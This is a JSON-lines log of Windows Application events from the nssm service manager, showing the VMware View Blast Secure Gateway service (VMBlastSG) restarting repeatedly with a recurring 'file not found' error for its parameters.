{"@timestamp":1646705494374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["134084","134084","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158823}}
{"@timestamp":1646705494390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158824}}
{"@timestamp":1646705494391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158825}}
{"@timestamp":1646705494391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158826}}
{"@timestamp":1646705494392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158827}}
{"@timestamp":1646705622903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158828}}
{"@timestamp":1646705622904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158829}}
{"@timestamp":1646705622905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156320","0"]}}},"module":"Application","provider":"nssm","sequence":158830}}
{"@timestamp":1646705622906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156320","156320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158831}}
{"@timestamp":1646705622922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158832}}
{"@timestamp":1646705622922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158833}}
{"@timestamp":1646705622923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158834}}
{"@timestamp":1646705622924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158835}}
{"@timestamp":1646705751433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158836}}
{"@timestamp":1646705751435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158837}}
{"@timestamp":1646705751435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154536","0"]}}},"module":"Application","provider":"nssm","sequence":158838}}
{"@timestamp":1646705751436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154536","154536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158839}}
{"@timestamp":1646705751453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158840}}
{"@timestamp":1646705751453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158841}}
{"@timestamp":1646705751454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158842}}
{"@timestamp":1646705751455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158843}}
{"@timestamp":1646705880369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158844}}
{"@timestamp":1646705880371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158845}}
{"@timestamp":1646705880371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156536","0"]}}},"module":"Application","provider":"nssm","sequence":158846}}
{"@timestamp":1646705880372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156536","156536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158847}}
{"@timestamp":1646705880388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158848}}
{"@timestamp":1646705880389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158849}}
{"@timestamp":1646705880389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158850}}
{"@timestamp":1646705880390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158851}}
{"@timestamp":1646706008868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158852}}
{"@timestamp":1646706008869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158853}}
{"@timestamp":1646706008869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","144900","0"]}}},"module":"Application","provider":"nssm","sequence":158854}}
{"@timestamp":1646706008870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["144900","144900","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158855}}
{"@timestamp":1646706008886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158856}}
{"@timestamp":1646706008887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158857}}
{"@timestamp":1646706008887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158858}}
{"@timestamp":1646706008888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158859}}
{"@timestamp":1646706137381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158860}}
{"@timestamp":1646706137383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158861}}
{"@timestamp":1646706137384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156552","0"]}}},"module":"Application","provider":"nssm","sequence":158862}}
{"@timestamp":1646706137384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156552","156552","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158863}}
{"@timestamp":1646706137400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158864}}
{"@timestamp":1646706137401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158865}}
{"@timestamp":1646706137401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158866}}
{"@timestamp":1646706137402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158867}}
{"@timestamp":1646706265888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158868}}
{"@timestamp":1646706265889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158869}}
{"@timestamp":1646706265889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156580","0"]}}},"module":"Application","provider":"nssm","sequence":158870}}
{"@timestamp":1646706265890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156580","156580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158871}}
{"@timestamp":1646706265905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158872}}
{"@timestamp":1646706265905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158873}}
{"@timestamp":1646706265906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158874}}
{"@timestamp":1646706265907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158875}}
{"@timestamp":1646706394389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158876}}
{"@timestamp":1646706394390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158877}}
{"@timestamp":1646706394391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156072","0"]}}},"module":"Application","provider":"nssm","sequence":158878}}
{"@timestamp":1646706394392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156072","156072","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158879}}
{"@timestamp":1646706394407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158880}}
{"@timestamp":1646706394407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158881}}
{"@timestamp":1646706394408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158882}}
{"@timestamp":1646706394409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158883}}
{"@timestamp":1646706522984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158884}}
{"@timestamp":1646706522985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158885}}
{"@timestamp":1646706522986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156380","0"]}}},"module":"Application","provider":"nssm","sequence":158886}}
{"@timestamp":1646706522986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156380","156380","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158887}}
{"@timestamp":1646706523004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158888}}
{"@timestamp":1646706523005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158889}}
{"@timestamp":1646706523005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158890}}
{"@timestamp":1646706523006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158891}}
{"@timestamp":1646706651492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158892}}
{"@timestamp":1646706651493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158893}}
{"@timestamp":1646706651493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155980","0"]}}},"module":"Application","provider":"nssm","sequence":158894}}
{"@timestamp":1646706651494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155980","155980","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158895}}
{"@timestamp":1646706651509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158896}}
{"@timestamp":1646706651510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158897}}
{"@timestamp":1646706651510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158898}}
{"@timestamp":1646706651511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158899}}
{"@timestamp":1646706780008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158900}}
{"@timestamp":1646706780010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158901}}
{"@timestamp":1646706780011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153792","0"]}}},"module":"Application","provider":"nssm","sequence":158902}}
{"@timestamp":1646706780011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153792","153792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158903}}
{"@timestamp":1646706780028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158904}}
{"@timestamp":1646706780028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158905}}
{"@timestamp":1646706780029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158906}}
{"@timestamp":1646706780030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158907}}
{"@timestamp":1646706908520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158908}}
{"@timestamp":1646706908522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158909}}
{"@timestamp":1646706908523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156052","0"]}}},"module":"Application","provider":"nssm","sequence":158910}}
{"@timestamp":1646706908523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156052","156052","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158911}}
{"@timestamp":1646706908540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158912}}
{"@timestamp":1646706908541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158913}}
{"@timestamp":1646706908541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158914}}
{"@timestamp":1646706908542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158915}}
{"@timestamp":1646707037032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158916}}
{"@timestamp":1646707037033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158917}}
{"@timestamp":1646707037033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156256","0"]}}},"module":"Application","provider":"nssm","sequence":158918}}
{"@timestamp":1646707037034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156256","156256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158919}}
{"@timestamp":1646707037050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158920}}
{"@timestamp":1646707037051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158921}}
{"@timestamp":1646707037051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158922}}
{"@timestamp":1646707037052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158923}}
{"@timestamp":1646707165747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158924}}
{"@timestamp":1646707165749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158925}}
{"@timestamp":1646707165749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156060","0"]}}},"module":"Application","provider":"nssm","sequence":158926}}
{"@timestamp":1646707165750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156060","156060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158927}}
